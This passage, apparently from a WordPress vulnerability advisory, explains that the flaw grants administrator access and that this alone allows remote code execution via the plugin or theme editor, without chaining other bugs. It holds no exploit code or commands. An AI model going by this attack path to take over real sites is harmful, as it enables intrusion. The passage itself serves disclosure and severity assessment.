#Chaining potential

Administrator access is terminal for WordPress security. This vulnerability does not require chaining with other bugs - it alone is sufficient for remote code execution via the plugin or theme editor.

#References